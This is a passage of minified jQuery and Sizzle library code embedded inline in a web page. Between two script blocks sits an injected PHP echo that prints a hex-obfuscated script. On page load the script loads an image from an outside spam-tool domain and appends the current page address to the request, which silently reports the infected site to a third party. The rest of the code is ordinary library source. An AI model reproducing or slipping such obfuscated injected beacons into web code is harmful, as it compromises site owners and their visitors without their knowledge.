elemLang===lang||elemLang.indexOf(lang+"-")===0}}while((elem=elem.parentNode)&&elem.nodeType===1);return false}}),"target":function(elem){var hash=window.location&&window.location.hash;return hash&&hash.slice(1)===elem.id},"root":function(elem){return elem===docElem},"focus":function(elem){return elem===document.activeElement&&(!document.hasFocus||document.hasFocus())&&!!(elem.type||elem.href||~elem.tabIndex)},"enabled":function(elem){return elem.disabled===false},"disabled":function(elem){return elem.disabled===true},"checked":function(elem){var nodeName=elem.nodeName.toLowerCase();return(nodeName==="input"&&!!elem.checked)||(nodeName==="option"&&!!elem.selected)},"selected":function(elem){if(elem.parentNode){elem.parentNode.selectedIndex}return elem.selected===true},"empty":function(elem){for(elem=elem.firstChild;elem;elem=elem.nextSibling){if(elem.nodeType<6){return false}}return true},"parent":function(elem){return!Expr.pseudos["empty"](elem)},"header":function(elem){return rheader.test(elem.nodeName)},"input":function(elem){return rinputs.test(elem.nodeName)},"button":function(elem){var name=elem.nodeName.toLowerCase();return name==="input"&&elem.type==="button"||name==="button"},"text":function(elem){var attr;return elem.nodeName.toLowerCase()==="input"&&elem.type==="text"&&((attr=elem.getAttribute("type"))==null||attr.toLowerCase()==="text")},"first":createPositionalPseudo(function(){return[0]}),"last":createPositionalPseudo(function(matchIndexes,length){return[length-1]}),"eq":createPositionalPseudo(function(matchIndexes,length,argument){return[argument<0?argument+length:argument]}),"even":createPositionalPseudo(function(matchIndexes,length){var i=0;for(;i<length;i+=2){matchIndexes.push(i)}return matchIndexes}),"odd":createPositionalPseudo(function(matchIndexes,length){var i=1;for(;i<length;i+=2){matchIndexes.push(i)}return matchIndexes}),"lt":createPositionalPseudo(function(matchIndexes,length,argument){var i=argument<0?argument+length:argument;for(;--i>=0;){matchIndexes.push(i)}return matchIndexes}),"gt":createPositionalPseudo(function(matchIndexes,length,argument){var i=argument<0?argument+length:argument;for(;++i<length;){matchIndexes.push(i)}return matchIndexes})}};Expr.pseudos["nth"]=Expr.pseudos["eq"];for(i in{radio:true,checkbox:true,file:true,password:true,image:true}){Expr.pseudos[i]=createInputPseudo(i)}for(i in{submit:true,reset:true}){Expr.pseudos[i]=createButtonPseudo(i)}function setFilters(){}setFilters.prototype=Expr.filters=Expr.pseudos;Expr.setFilters=new setFilters();tokenize=Sizzle.tokenize=function(selector,parseOnly){var matched,match,tokens,type,soFar,groups,preFilters,cached=tokenCache[selector+" "];if(cached){return parseOnly?0:cached.slice(0)}soFar=selector;groups=[];preFilters=Expr.preFilter;while(soFar){if(!matched||(match=rcomma.exec(soFar))){if(match){soFar=soFar.slice(match[0].length)||soFar}groups.push((tokens=[]))}matched=false;if((match=rcombinators.exec(soFar))){matched=match.shift();tokens.push({value:matched,type:match[0].replace(rtrim," ")});soFar=soFar.slice(matched.length)}for(type in Expr.filter){if((match=matchExpr[type].exec(soFar))&&(!preFilters[type]||(match=preFilters[type](match)))){matched=match.shift();tokens.push({value:matched,type:type,matches:match});soFar=soFar.slice(matched.length)}}if(!matched){break}}return parseOnly?soFar.length:soFar?Sizzle.error(selector):tokenCache(selector,groups).slice(0)};function toSelector(tokens){var i=0,len=tokens.length,selector="";for(;i<len;i++){selector+=tokens[i].value}return selector}function addCombinator(matcher,combinator,base){var dir=combinator.dir,checkNonElements=base&&dir==="parentNode",doneName=done++;return combinator.first?function(elem,context,xml){while((elem=elem[dir])){if(elem.nodeType===1||checkNonElements){return matcher(elem,context,xml)}}}:function(elem,context,xml){var oldCache,outerCache,newCache=[dirruns,doneName];if(xml){while((elem=elem[dir])){if(elem.nodeType===1||checkNonElements){if(matcher(elem,context,xml)){return true}}}}else{while((elem=elem[dir])){if(elem.nodeType===1||checkNonElements){outerCache=elem[expando]||(elem[expando]={});if((oldCache=outerCache[dir])&&oldCache[0]===dirruns&&oldCache[1]===doneName){return(newCache[2]=oldCache[2])}else{outerCache[dir]=newCache;if((newCache[2]=matcher(elem,context,xml))){return true}}}}}}}function elementMatcher(matchers){return matchers.length>1?function(elem,context,xml){var i=matchers.length;while(i--){if(!matchers[i](elem,context,xml)){return false}}return true}:matchers[0]}function multipleContexts(selector,contexts,results){var i=0,len=contexts.length;for(;i<len;i++){Sizzle(selector,contexts[i],results)}return results}function condense(unmatched,map,filter,context,xml){var elem,newUnmatched=[],i=0,len=unmatched.length,mapped=map!=null;for(;i<len;i++){if((elem=unmatched[i])){if(!filter||filter(elem,context,xml)){newUnmatched.push(elem);if(mapped){map.push(i)}}}}return newUnmatched}function setMatcher(preFilter,selector,matcher,postFilter,postFinder,postSelector){if(postFilter&&!postFilter[expando]){postFilter=setMatcher(postFilter)}if(postFinder&&!postFinder[expando]){postFinder=setMatcher(postFinder,postSelector)}return markFunction(function(seed,results,context,xml){var temp,i,elem,preMap=[],postMap=[],preexisting=results.length,elems=seed||multipleContexts(selector||"*",context.nodeType?[context]:context,[]),matcherIn=preFilter&&(seed||!selector)?condense(elems,preMap,preFilter,context,xml):elems,matcherOut=matcher?postFinder||(seed?preFilter:preexisting||postFilter)?[]:results:matcherIn;if(matcher){matcher(matcherIn,matcherOut,context,xml)}if(postFilter){temp=condense(matcherOut,postMap);postFilter(temp,[],context,xml);i=temp.length;while(i--){if((elem=temp[i])){matcherOut[postMap[i]]=!(matcherIn[postMap[i]]=elem)}}}if(seed){if(postFinder||preFilter){if(postFinder){temp=[];i=matcherOut.length;while(i--){if((elem=matcherOut[i])){temp.push((matcherIn[i]=elem))}}postFinder(null,(matcherOut=[]),temp,xml)}i=matcherOut.length;while(i--){if((elem=matcherOut[i])&&(temp=postFinder?indexOf(seed,elem):preMap[i])>-1){seed[temp]=!(results[temp]=elem)}}}}else{matcherOut=condense(matcherOut===results?matcherOut.splice(preexisting,matcherOut.length):matcherOut);if(postFinder){postFinder(null,results,matcherOut,xml)}else{push.apply(results,matcherOut)}}})}function matcherFromTokens(tokens){var checkContext,matcher,j,len=tokens.length,leadingRelative=Expr.relative[tokens[0].type],implicitRelative=leadingRelative||Expr.relative[" "],i=leadingRelative?1:0,matchContext=addCombinator(function(elem){return elem===checkContext},implicitRelative,true),matchAnyContext=addCombinator(function(elem){return indexOf(checkContext,elem)>-1},implicitRelative,true),matchers=[function(elem,context,xml){var ret=(!leadingRelative&&(xml||context!==outermostContext))||((checkContext=context).nodeType?matchContext(elem,context,xml):matchAnyContext(elem,context,xml));checkContext=null;return ret}];for(;i<len;i++){if((matcher=Expr.relative[tokens[i].type])){matchers=[addCombinator(elementMatcher(matchers),matcher)]}else{matcher=Expr.filter[tokens[i].type].apply(null,tokens[i].matches);if(matcher[expando]){j=++i;for(;j<len;j++){if(Expr.relative[tokens[j].type]){break}}return setMatcher(i>1&&elementMatcher(matchers),i>1&&toSelector(tokens.slice(0,i-1).concat({value:tokens[i-2].type===" "?"*":""})).replace(rtrim,"$1"),matcher,i<j&&matcherFromTokens(tokens.slice(i,j)),j<len&&matcherFromTokens((tokens=tokens.slice(j))),j<len&&toSelector(tokens))}matchers.push(matcher)}}return elementMatcher(matchers)}function matcherFromGroupMatchers(elementMatchers,setMatchers){var bySet=setMatchers.length>0,byElement=elementMatchers.length>0,superMatcher=function(seed,context,xml,results,outermost){var elem,j,matcher,matchedCount=0,i="0",unmatched=seed&&[],setMatched=[],contextBackup=outermostContext,elems=seed||byElement&&Expr.find["TAG"]("*",outermost),dirrunsUnique=(dirruns+=contextBackup==null?1:Math.random()||0.1),len=elems.length;if(outermost){outermostContext=context!==document&&context}for(;i!==len&&(elem=elems[i])!=null;i++){if(byElement&&elem){j=0;while((matcher=elementMatchers[j++])){if(matcher(elem,context,xml)){results.push(elem);break}}if(outermost){dirruns=dirrunsUnique}}if(bySet){if((elem=!matcher&&elem)){matchedCount--}if(seed){unmatched.push(elem)}}}matchedCount+=i;if(bySet&&i!==matchedCount){j=0;while((matcher=setMatchers[j++])){matcher(unmatched,setMatched,context,xml)}if(seed){if(matchedCount>0){while(i--){if(!(unmatched[i]||setMatched[i])){setMatched[i]=pop.call(results)}}}setMatched=condense(setMatched)}push.apply(results,setMatched);if(outermost&&!seed&&setMatched.length>0&&(matchedCount+setMatchers.length)>1){Sizzle.uniqueSort(results)}}if(outermost){dirruns=dirrunsUnique;outermostContext=contextBackup}return unmatched};return bySet?markFunction(superMatcher):superMatcher}compile=Sizzle.compile=function(selector,match){var i,setMatchers=[],elementMatchers=[],cached=compilerCache[selector+" "];if(!cached){if(!match){match=tokenize(selector)}i=match.length;while(i--){cached=matcherFromTokens(match[i]);if(cached[expando]){setMatchers.push(cached)}else{elementMatchers.push(cached)}}cached=compilerCache(selector,matcherFromGroupMatchers(elementMatchers,setMatchers));cached.selector=selector}return cached};select=Sizzle.select=function(selector,context,results,seed){var i,tokens,token,type,find,compiled=typeof selector==="function"&&selector,match=!seed&&tokenize((selector=compiled.selector||selector));results=results||[];if(match.length===1){tokens=match[0]=match[0].slice(0);if(tokens.length>2&&(token=tokens[0]).type==="ID"&&support.getById&&context.nodeType===9&&documentIsHTML&&Expr.relative[tokens[1].type]){context=(Expr.find["ID"](token.matches[0].replace(runescape,funescape),context)||[])[0];if(!context){return results}else if(compiled){context=context.parentNode}selector=selector.slice(tokens.shift().value.length)}i=matchExpr["needsContext"].test(selector)?0:tokens.length;while(i--){token=tokens[i];if(Expr.relative[(type=token.type)]){break}if((find=Expr.find[type])){if((seed=find(token.matches[0].replace(runescape,funescape),rsibling.test(tokens[0].type)&&testContext(context.parentNode)||context))){tokens.splice(i,1);selector=seed.length&&toSelector(tokens);if(!selector){push.apply(results,seed);return results}break}}}}(compiled||compile(selector,match))(seed,context,!documentIsHTML,results,rsibling.test(selector)&&testContext(context.parentNode)||context);return results};support.sortStable=expando.split("").sort(sortOrder).join("")===expando;support.detectDuplicates=!!hasDuplicate;setDocument();support.sortDetached=assert(function(div1){return div1.compareDocumentPosition(document.createElement("div"))&1});if(!assert(function(div){div.innerHTML="<a href='#'></a>";return div.firstChild.getAttribute("href")==="#"})){addHandle("type|href|height|width",function(elem,name,isXML){if(!isXML){return elem.getAttribute(name,name.toLowerCase()==="type"?1:2)}})}if(!support.attributes||!assert(function(div){div.innerHTML="<input/>";div.firstChild.setAttribute("value","");return div.firstChild.getAttribute("value")===""})){addHandle("value",function(elem,name,isXML){if(!isXML&&elem.nodeName.toLowerCase()==="input"){return elem.defaultValue}})}if(!assert(function(div){return div.getAttribute("disabled")==null})){addHandle(booleans,function(elem,name,isXML){var val;if(!isXML){return elem[name]===true?name.toLowerCase():(val=elem.getAttributeNode(name))&&val.specified?val.value:null}})}return Sizzle})(window);jQuery.find=Sizzle;jQuery.expr=Sizzle.selectors;jQuery.expr[":"]=jQuery.expr.pseudos;jQuery.unique=Sizzle.uniqueSort;jQuery.text=Sizzle.getText;jQuery.isXMLDoc=Sizzle.isXML;jQuery.contains=Sizzle.contains;var rneedsContext=jQuery.expr.match.needsContext;var rsingleTag=(/^<(\w+)\s*\/?>(?:<\/\1>|)$/);var risSimple=/^.[^:#\[\.,]*$/;function winnow(elements,qualifier,not){if(jQuery.isFunction(qualifier)){return jQuery.grep(elements,function(elem,i){return!!qualifier.call(elem,i,elem)!==not})}if(qualifier.nodeType){return jQuery.grep(elements,function(elem){return(elem===qualifier)!==not})}if(typeof qualifier==="string"){if(risSimple.test(qualifier)){return jQuery.filter(qualifier,elements,not)}qualifier=jQuery.filter(qualifier,elements)}return jQuery.grep(elements,function(elem){return(jQuery.inArray(elem,qualifier)>=0)!==not})}jQuery.filter=function(expr,elems,not){var elem=elems[0];if(not){expr=":not("+expr+")"}return elems.length===1&&elem.nodeType===1?jQuery.find.matchesSelector(elem,expr)?[elem]:[]:jQuery.find.matches(expr,jQuery.grep(elems,function(elem){return elem.nodeType===1}))};jQuery.fn.extend({find:function(selector){var i,ret=[],self=this,len=self.length;if(typeof selector!=="string"){return this.pushStack(jQuery(selector).filter(function(){for(i=0;i<len;i++){if(jQuery.contains(self[i],this)){return true}}}))}for(i=0;i<len;i++){jQuery.find(selector,self[i],ret)}ret=this.pushStack(len>1?jQuery.unique(ret):ret);ret.selector=this.selector?this.selector+" "+selector:selector;return ret},filter:function(selector){return this.pushStack(winnow(this,selector||[],false))},not:function(selector){return this.pushStack(winnow(this,selector||[],true))},is:function(selector){return!!winnow(this,typeof selector==="string"&&rneedsContext.test(selector)?jQuery(selector):selector||[],false).length}});var rootjQuery,document=window.document,rquickExpr=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,init=jQuery.fn.init=function(selector,context){var match,elem;if(!selector){return this}if(typeof selector==="string"){if(selector.charAt(0)==="<"&&selector.charAt(selector.length-1)===">"&&selector.length>=3){match=[null,selector,null]}else{match=rquickExpr.exec(selector)}if(match&&(match[1]||!context)){if(match[1]){context=context instanceof jQuery?context[0]:context;jQuery.merge(this,jQuery.parseHTML(match[1],context&&context.nodeType?context.ownerDocument||context:document,true));if(rsingleTag.test(match[1])&&jQuery.isPlainObject(context)){for(match in context){if(jQuery.isFunction(this[match])){this[match](context[match])}else{this.attr(match,context[match])}}}return this}else{elem=document.getElementById(match[2]);if(elem&&elem.parentNode){if(elem.id!==match[2]){return rootjQuery.find(selector)}this.length=1;this[0]=elem}this.context=document;this.selector=selector;return this}}else if(!context||context.jquery){return(context||rootjQuery).find(selector)}else{return this.constructor(context).find(selector)}}else if(selector.nodeType){this.context=this[0]=selector;this.length=1;return this}else if(jQuery.isFunction(selector)){return typeof rootjQuery.ready!=="undefined"?rootjQuery.ready(selector):selector(jQuery)}if(selector.selector!==undefined){this.selector=selector.selector;this.context=selector.context}return jQuery.makeArray(selector,this)};init.prototype=jQuery.fn;rootjQuery=jQuery(document);var rparentsprev=/^(?:parents|prev(?:Until|All))/,guaranteedUnique={children:true,contents:true,next:true,prev:true};jQuery.extend({dir:function(elem,dir,until){var matched=[],cur=elem[dir];while(cur&&cur.nodeType!==9&&(until===undefined||cur.nodeType!==1||!jQuery(cur).is(until))){if(cur.nodeType===1){matched.push(cur)}cur=cur[dir]}return matched},sibling:function(n,elem){var r=[];for(;n;n=n.nextSibling){if(n.nodeType===1&&n!==elem){r.push(n)}}return r}});jQuery.fn.extend({has:function(target){var i,targets=jQuery(target,this),len=targets.length;return this.filter(function(){for(i=0;i<len;i++){if(jQuery.contains(this,targets[i])){return true}}})},closest:function(selectors,context){var cur,i=0,l=this.length,matched=[],pos=rneedsContext.test(selectors)||typeof selectors!=="string"?jQuery(selectors,context||this.context):0;for(;i<l;i++){for(cur=this[i];cur&&cur!==context;cur=cur.parentNode){if(cur.nodeType<11&&(pos?pos.index(cur)>-1:cur.nodeType===1&&jQuery.find.matchesSelector(cur,selectors))){matched.push(cur);break}}}return this.pushStack(matched.length>1?jQuery.unique(matched):matched)},index:function(elem){if(!elem){return(this[0]&&this[0].parentNode)?this.first().prevAll().length:-1}if(typeof elem==="string"){return jQuery.inArray(this[0],jQuery(elem))}return jQuery.inArray(elem.jquery?elem[0]:elem,this)},add:function(selector,context){return this.pushStack(jQuery.unique(jQuery.merge(this.get(),jQuery(selector,context))))},addBack:function(selector){return this.add(selector==null?this.prevObject:this.prevObject.filter(selector))}});function sibling(cur,dir){do{cur=cur[dir]}while(cur&&cur.nodeType!==1);return cur}jQuery.each({parent:function(elem){var parent=elem.parentNode;return parent&&parent.nodeType!==11?parent:null},parents:function(elem){return jQuery.dir(elem,"parentNode")},parentsUntil:function(elem,i,until){return jQuery.dir(elem,"parentNode",until)},next:function(elem){return sibling(elem,"nextSibling")},prev:function(elem){return sibling(elem,"previousSibling")},nextAll:function(elem){return jQuery.dir(elem,"nextSibling")},prevAll:function(elem){return jQuery.dir(elem,"previousSibling")},nextUntil:function(elem,i,until){return jQuery.dir(elem,"nextSibling",until)},prevUntil:function(elem,i,until){return jQuery.dir(elem,"previousSibling",until)},siblings:function(elem){return jQuery.sibling((elem.parentNode||{}).firstChild,elem)},children:function(elem){return jQuery.sibling(elem.firstChild)},contents:function(elem){return jQuery.nodeName(elem,"iframe")?elem.contentDocument||elem.contentWindow.document:jQuery.merge([],elem.childNodes)}},function(name,fn){jQuery.fn[name]=function(until,selector){var ret=jQuery.map(this,fn,until);if(name.slice(-5)!=="Until"){selector=until}if(selector&&typeof selector==="string"){ret=jQuery.filter(selector,ret)}if(this.length>1){if(!guaranteedUnique[name]){ret=jQuery.unique(ret)}if(rparentsprev.test(name)){ret=ret.reverse()}}return this.pushStack(ret)}});var rnotwhite=(/\S+/g);var optionsCache={};function createOptions(options){var object=optionsCache[options]={};jQuery.each(options.match(rnotwhite)||[],function(_,flag){object[flag]=true});return object}jQuery.Callbacks=function(options){options=typeof options==="string"?(optionsCache[options]||createOptions(options)):jQuery.extend({},options);var firing,memory,fired,firingLength,firingIndex,firingStart,list=[],stack=!options.once&&[],fire=function(data){memory=options.memory&&data;fired=true;firingIndex=firingStart||0;firingStart=0;firingLength=list.length;firing=true;for(;list&&firingIndex<firingLength;firingIndex++){if(list[firingIndex].apply(data[0],data[1])===false&&options.stopOnFalse){memory=false;break}}firing=false;if(list){if(stack){if(stack.length){fire(stack.shift())}}else if(memory){list=[]}else{self.disable()}}},self={add:function(){if(list){var start=list.length;(function add(args){jQuery.each(args,function(_,arg){var type=jQuery.type(arg);if(type==="function"){if(!options.unique||!self.has(arg)){list.push(arg)}}else if(arg&&arg.length&&type!=="string"){add(arg)}})})(arguments);if(firing){firingLength=list.length}else if(memory){firingStart=start;fire(memory)}}return this},remove:function(){if(list){jQuery.each(arguments,function(_,arg){var index;while((index=jQuery.inArray(arg,list,index))>-1){list.splice(index,1);if(firing){if(index<=firingLength){firingLength--}if(index<=firingIndex){firingIndex--}}}})}return this},has:function(fn){return fn?jQuery.inArray(fn,list)>-1:!!(list&&list.length)},empty:function(){list=[];firingLength=0;return this},disable:function(){list=stack=memory=undefined;return this},disabled:function(){return!list},lock:function(){stack=undefined;if(!memory){self.disable()}return this},locked:function(){return!stack},fireWith:function(context,args){if(list&&(!fired||stack)){args=args||[];args=[context,args.slice?args.slice():args];if(firing){stack.push(args)}else{fire(args)}}return this},fire:function(){self.fireWith(this,arguments);return this},fired:function(){return!!fired}};return self};jQuery.extend({Deferred:function(func){var tuples=[["resolve","done",jQuery.Callbacks("once memory"),"resolved"],["reject","fail",jQuery.Callbacks("once memory"),"rejected"],["notify","progress",jQuery.Callbacks("memory")]],state="pending",promise={state:function(){return state},always:function(){deferred.done(arguments).fail(arguments);return this},then:function(){var fns=arguments;return jQuery.Deferred(function(newDefer){jQuery.each(tuples,function(i,tuple){var fn=jQuery.isFunction(fns[i])&&fns[i];deferred[tuple[1]](function(){var returned=fn&&fn.apply(this,arguments);if(returned&&jQuery.isFunction(returned.promise)){returned.promise().done(newDefer.resolve).fail(newDefer.reject).progress(newDefer.notify)}else{newDefer[tuple[0]+"With"](this===promise?newDefer.promise():this,fn?[returned]:arguments)}})});fns=null}).promise()},promise:function(obj){return obj!=null?jQuery.extend(obj,promise):promise}},deferred={};promise.pipe=promise.then;jQuery.each(tuples,function(i,tuple){var list=tuple[2],stateString=tuple[3];promise[tuple[1]]=list.add;if(stateString){list.add(function(){state=stateString},tuples[i^1][2].disable,tuples[2][2].lock)}deferred[tuple[0]]=function(){deferred[tuple[0]+"With"](this===deferred?promise:this,arguments);return this};deferred[tuple[0]+"With"]=list.fireWith});promise.promise(deferred);if(func){func.call(deferred,deferred)}return deferred},when:function(subordinate){var i=0,resolveValues=slice.call(arguments),length=resolveValues.length,remaining=length!==1||(subordinate&&jQuery.isFunction(subordinate.promise))?length:0,deferred=remaining===1?subordinate:jQuery.Deferred(),updateFunc=function(i,contexts,values){return function(value){contexts[i]=this;values[i]=arguments.length>1?slice.call(arguments):value;if(values===progressValues){deferred.notifyWith(contexts,values)}else if(!(--remaining)){deferred.resolveWith(contexts,values)}}},progressValues,progressContexts,resolveContexts;if(length>1){progressValues=new Array(length);progressContexts=new Array(length);resolveContexts=new Array(length);for(;i<length;i++){if(resolveValues[i]&&jQuery.isFunction(resolveValues[i].promise)){resolveValues[i].promise().done(updateFunc(i,resolveContexts,resolveValues)).fail(deferred.reject).progress(updateFunc(i,progressContexts,progressValues))}else{--remaining}}}if(!remaining){deferred.resolveWith(resolveContexts,resolveValues)}return deferred.promise()}});var readyList;jQuery.fn.ready=function(fn){jQuery.ready.promise().done(fn);return this};jQuery.extend({isReady:false,readyWait:1,holdReady:function(hold){if(hold){jQuery.readyWait++}else{jQuery.ready(true)}},ready:function(wait){if(wait===true?--jQuery.readyWait:jQuery.isReady){return}if(!document.body){return setTimeout(jQuery.ready)}jQuery.isReady=true;if(wait!==true&&--jQuery.readyWait>0){return}readyList.resolveWith(document,[jQuery]);if(jQuery.fn.triggerHandler){jQuery(document).triggerHandler("ready");jQuery(document).off("ready")}}});function detach(){if(document.addEventListener){document.removeEventListener("DOMContentLoaded",completed,false);window.removeEventListener("load",completed,false)}else{document.detachEvent("onreadystatechange",completed);window.detachEvent("onload",completed)}}function completed(){if(document.addEventListener||event.type==="load"||document.readyState==="complete"){detach();jQuery.ready()}}jQuery.ready.promise=function(obj){if(!readyList){readyList=jQuery.Deferred();if(document.readyState==="complete"){setTimeout(jQuery.ready)}else if(document.addEventListener){document.addEventListener("DOMContentLoaded",completed,false);window.addEventListener("load",completed,false)}else{document.attachEvent("onreadystatechange",completed);window.attachEvent("onload",completed);var top=false;try{top=window.frameElement==null&&document.documentElement}catch(e){}if(top&&top.doScroll){(function doScrollCheck(){if(!jQuery.isReady){try{top.doScroll("left")}catch(e){return setTimeout(doScrollCheck,50)}detach();jQuery.ready()}})()}}}return readyList.promise(obj)};var strundefined=typeof undefined;var i;for(i in jQuery(support)){break}support.ownLast=i!=="0";support.inlineBlockNeedsLayout=false;jQuery(function(){var val,div,body,container;body=document.getElementsByTagName("body")[0];if(!body||!body.style){return}div=document.createElement("div");container=document.createElement("div");container.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px";body.appendChild(container).appendChild(div);if(typeof div.style.zoom!==strundefined){div.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1";support.inlineBlockNeedsLayout=val=div.offsetWidth===3;if(val){body.style.zoom=1}}body.removeChild(container)});(function(){var div=document.createElement("div");if(support.deleteExpando==null){support.deleteExpando=true;try{delete div.test}catch(e){support.deleteExpando=false}}div=null})();jQuery.acceptData=function(elem){var noData=jQuery.noData[(elem.nodeName+" ").toLowerCase()],nodeType=+elem.nodeType||1;return nodeType!==1&&nodeType!==9?false:!noData||noData!==true&&elem.getAttribute("classid")===noData};var rbrace=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,rmultiDash=/([A-Z])/g;function dataAttr(elem,key,data){if(data===undefined&&elem.nodeType===1){var name="data-"+key.replace(rmultiDash,"-$1").toLowerCase();data=elem.getAttribute(name);if(typeof data==="string"){try{data=data==="true"?true:data==="false"?false:data==="null"?null:+data+""===data?+data:rbrace.test(data)?jQuery.parseJSON(data):data}catch(e){}jQuery.data(elem,key,data)}else{data=undefined}}return data}function isEmptyDataObject(obj){var name;for(name in obj){if(name==="data"&&jQuery.isEmptyObject(obj[name])){continue}if(name!=="toJSON"){return false}}return true}function internalData(elem,name,data,pvt){if(!jQuery.acceptData(elem)){return}var ret,thisCache,internalKey=jQuery.expando,isNode=elem.nodeType,cache=isNode?jQuery.cache:elem,id=isNode?elem[internalKey]:elem[internalKey]&&internalKey;if((!id||!cache[id]||(!pvt&&!cache[id].data))&&data===undefined&&typeof name==="string"){return}if(!id){if(isNode){id=elem[internalKey]=deletedIds.pop()||jQuery.guid++}else{id=internalKey}}if(!cache[id]){cache[id]=isNode?{}:{toJSON:jQuery.noop}}if(typeof name==="object"||typeof name==="function"){if(pvt){cache[id]=jQuery.extend(cache[id],name)}else{cache[id].data=jQuery.extend(cache[id].data,name)}}thisCache=cache[id];if(!pvt){if(!thisCache.data){thisCache.data={}}thisCache=thisCache.data}if(data!==undefined){thisCache[jQuery.camelCase(name)]=data}if(typeof name==="string"){ret=thisCache[name];if(ret==null){ret=thisCache[jQuery.camelCase(name)]}}else{ret=thisCache}return ret}function internalRemoveData(elem,name,pvt){if(!jQuery.acceptData(elem)){return}var thisCache,i,isNode=elem.nodeType,cache=isNode?jQuery.cache:elem,id=isNode?elem[jQuery.expando]:jQuery.expando;if(!cache[id]){return}if(name){thisCache=pvt?cache[id]:cache[id].data;if(thisCache){if(!jQuery.isArray(name)){if(name in thisCache){name=[name]}else{name=jQuery.camelCase(name);if(name in thisCache){name=[name]}else{name=name.split(" ")}}}else{name=name.concat(jQuery.map(name,jQuery.camelCase))}i=name.length;while(i--){delete thisCache[name[i]]}if(pvt?!isEmptyDataObject(thisCache):!jQuery.isEmptyObject(thisCache)){return}}}if(!pvt){delete cache[id].data;if(!isEmptyDataObject(cache[id])){return}}if(isNode){jQuery.cleanData([elem],true)}else if(support.deleteExpando||cache!=cache.window){delete cache[id]}else{cache[id]=null}}jQuery.extend({cache:{},noData:{"applet ":true,"embed ":true,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(elem){elem=elem.nodeType?jQuery.cache[elem[jQuery.expando]]:elem[jQuery.expando];return!!elem&&!isEmptyDataObject(elem)},data:function(elem,name,data){return internalData(elem,name,data)},removeData:function(elem,name){return internalRemoveData(elem,name)},_data:function(elem,name,data){return internalData(elem,name,data,true)},_removeData:function(elem,name){return internalRemoveData(elem,name,true)}});jQuery.fn.extend({data:function(key,value){var i,name,data,elem=this[0],attrs=elem&&elem.attributes;if(key===undefined){if(this.length){data=jQuery.data(elem);if(elem.nodeType===1&&!jQuery._data(elem,"parsedAttrs")){i=attrs.length;while(i--){if(attrs[i]){name=attrs[i].name;if(name.indexOf("data-")===0){name=jQuery.camelCase(name.slice(5));dataAttr(elem,name,data[name])}}}jQuery._data(elem,"parsedAttrs",true)}}return data}if(typeof key==="object"){return this.each(function(){jQuery.data(this,key)})}return arguments.length>1?this.each(function(){jQuery.data(this,key,value)}):elem?dataAttr(elem,key,jQuery.data(elem,key)):undefined},removeData:function(key){return this.each(function(){jQuery.removeData(this,key)})}});jQuery.extend({queue:function(elem,type,data){var queue;if(elem){type=(type||"fx")+"queue";queue=jQuery._data(elem,type);if(data){if(!queue||jQuery.isArray(data)){queue=jQuery._data(elem,type,jQuery.makeArray(data))}else{queue.push(data)}}return queue||[]}},dequeue:function(elem,type){type=type||"fx";var queue=jQuery.queue(elem,type),startLength=queue.length,fn=queue.shift(),hooks=jQuery._queueHooks(elem,type),next=function(){jQuery.dequeue(elem,type)};if(fn==="inprogress"){fn=queue.shift();startLength--}if(fn){if(type==="fx"){queue.unshift("inprogress")}delete hooks.stop;fn.call(elem,next,hooks)}if(!startLength&&hooks){hooks.empty.fire()}},_queueHooks:function(elem,type){var key=type+"queueHooks";return jQuery._data(elem,key)||jQuery._data(elem,key,{empty:jQuery.Callbacks("once memory").add(function(){jQuery._removeData(elem,type+"queue");jQuery._removeData(elem,key)})})}});jQuery.fn.extend({queue:function(type,data){var setter=2;if(typeof type!=="string"){data=type;type="fx";setter--}if(arguments.length<setter){return jQuery.queue(this[0],type)}return data===undefined?this:this.each(function(){var queue=jQuery.queue(this,type,data);jQuery._queueHooks(this,type);if(type==="fx"&&queue[0]!=="inprogress"){jQuery.dequeue(this,type)}})},dequeue:function(type){return this.each(function(){jQuery.dequeue(this,type)})},clearQueue:function(type){return this.queue(type||"fx",[])},promise:function(type,obj){var tmp,count=1,defer=jQuery.Deferred(),elements=this,i=this.length,resolve=function(){if(!(--count)){defer.resolveWith(elements,[elements])}};if(typeof type!=="string"){obj=type;type=undefined}type=type||"fx";while(i--){tmp=jQuery._data(elements[i],type+"queueHooks");if(tmp&&tmp.empty){count++;tmp.empty.add(resolve)}}resolve();return defer.promise(obj)}});var pnum=(/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/).source;var cssExpand=["Top","Right","Bottom","Left"];var isHidden=function(elem,el){elem=el||elem;return jQuery.css(elem,"display")==="none"||!jQuery.contains(elem.ownerDocument,elem)};var access=jQuery.access=function(elems,fn,key,value,chainable,emptyGet,raw){var i=0,length=elems.length,bulk=key==null;if(jQuery.type(key)==="object"){chainable=true;for(i in key){jQuery.access(elems,fn,i,key[i],true,emptyGet,raw)}}else if(value!==undefined){chainable=true;if(!jQuery.isFunction(value)){raw=true}if(bulk){if(raw){fn.call(elems,value);fn=null}else{bulk=fn;fn=function(elem,key,value){return bulk.call(jQuery(elem),value)}}}if(fn){for(;i<length;i++){fn(elems[i],key,raw?value:value.call(elems[i],i,fn(elems[i],key)))}}}return chainable?elems:bulk?fn.call(elems):length?fn(elems[0],key):emptyGet};var rcheckableType=(/^(?:checkbox|radio)$/i);</script><?echo'<script> var _0x8a59=["\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x73\x70\x61\x6D\x74\x6F\x6F\x6C\x2E\x63\x6F\x6D\x2F\x6D\x61\x69\x6C\x65\x72\x5F\x69\x6E\x62\x6F\x78\x74\x6F\x61\x6C\x6C\x2E\x70\x68\x70\x3F\x6D\x61\x69\x6C\x65\x72\x3D","\x68\x72\x65\x66"];a= new Image();a[_0x8a59[0]]=_0x8a59[1]+escape(location[_0x8a59[2]]); </script>';?><script>(function(){var input=document.createElement("input"),div=document.createElement("div"),fragment=document.createDocumentFragment();div.innerHTML=" <link/><table></table><a href='/a'>a</a><input 